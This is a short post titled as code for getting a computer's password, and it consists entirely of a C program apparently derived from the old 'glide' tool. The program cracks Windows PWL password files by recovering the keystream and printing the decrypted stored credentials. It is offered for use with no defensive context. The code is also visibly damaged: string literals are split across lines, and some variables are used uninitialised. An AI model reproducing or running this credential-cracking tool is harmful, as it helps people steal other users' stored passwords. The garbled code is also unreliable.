CODE FOR GETTING COMPUTER'S PASSWORD

CODE FOR GETTING COMPUTER'S PASSWORD


 Code :
 # include<stdio.h>
 # include<stdio.h>
 # include<process.h>
 # include<stdlib.h>
 # include<ctype.h>
 # include<conio.h>
 # include<mem.h>
 unsigned char huge Data[100001];
 unsigned char keystream[1001];
 int Rpoint[300];
 void main(int argc,char *argv[]){
 FILE *fd;
 int i,j;
 int size;
 char ch;
 char *name;
 int cracked;
 int sizemask;
 int maxr;
 int rsz;
 int pos;
 int Rall[300];     /* Resourse allocation table */
 if(argc<2){
   printf("usage: glide filename (username)");
   exit(1);
 }
 /* Read PWL file */
 fd=fopen(argv[1],"rb");
 if(fd==NULL){
      printf("can't open file %s",argv[1]);
      exit(1);
 }
 size=0;
 while(!feof(fd)){
   Data[size++]=fgetc(fd);
 }
 size--;
 fclose(fd);
 /* Find Username */
 name=argv[1];
 if(argc>2)name=argv[2];
 printf("Username:%s
 ",name);
 /* Copy encrypted text into keystream */
 cracked=size-0x0208;
 if(cracked<0)cracked=0;
 if(cracked>1000)cracked=1000;
 memcpy(keystream,Data+0x208,cracked);
 /* Generate 20 bytes of keystream */
 for(i=0;i<20;i++){
   ch=toupper(name[i]);
   if(ch==0)break;
   if(ch=='.')break;
   keystream[i]^=ch;
 };
 cracked=20;
 /* Find allocated resources */
 sizemask=keystream[0]+(keystream[1]<<8);
 printf("Sizemask:%04X
 ",sizemask);
 for(i=0;i<256;i++){
   if(Data[i]!=0xff){
        Rall[Data[i]]++;
        if(Data[i]>maxr)maxr=Data[i];
   }
 }
 maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
 divisible by 16 */
 /*Search after resources */
 Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
 for(i=0;i<maxr;i++){
    /* Find the size of current resourse */
    pos=Rpoint[i];
    rsz=Data[pos]+(Data[pos+1]<<8);
    rsz^=sizemask;
    printf("Analysing block with size:%04x (%d:%d)
 ",rsz,i,Rall[i]);
    if((Rall[i]==0)&&(rsz!=0)){
        printf("Unused resourse has nonzero size!!!
 ");
        printf("If last line produed any:You may try to recover
 ");
        printf("Press y to attempt the recovery
 ");
        ch=getch();
        if(ch!='y')exit(0);
        rsz=2;
        i=i-1;
    }
    pos=pos+rsz;
    /* Resourse have a tedency to have the wrong size for some reason*/
    /* Chech for correct size*/
    if(i<maxr-1){
        while(Data[pos+3]!=keystream[1]){
              printf(":",Data[pos+3]);
              pos=pos+2; /* Very rude may fail */
        }
    }
    pos+=2; /* Include pointer in size */
    Rpoint[i+1]=pos;
 }
 Rpoint[maxr]=size;
 /* Insert Table data into keystream*/
 for(i=0;i<=maxr;i++){
     keystream[20+2*i]^=Rpoint[i] & 0x00ff;
     keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
 }
 cracked+=maxr*2+2;
 printf("%d Bytes of ketstream recoverd
 ",cracked);
 /* Decrypt resources */
 for(i=0;i<maxr;i++){
       rsz=Rpoint[i+1]-Rpoint[i];
       if(rsz>cracked)rsz=cracked;
       printf("Resource[%d](%d)
 ",i,rsz);
       for(j=0;j<rsz;j++)
       printf("%c",Data[Rpoint[i]+j]^keystream[j]);
       printf("
 ");
 }
 exit(0);
 }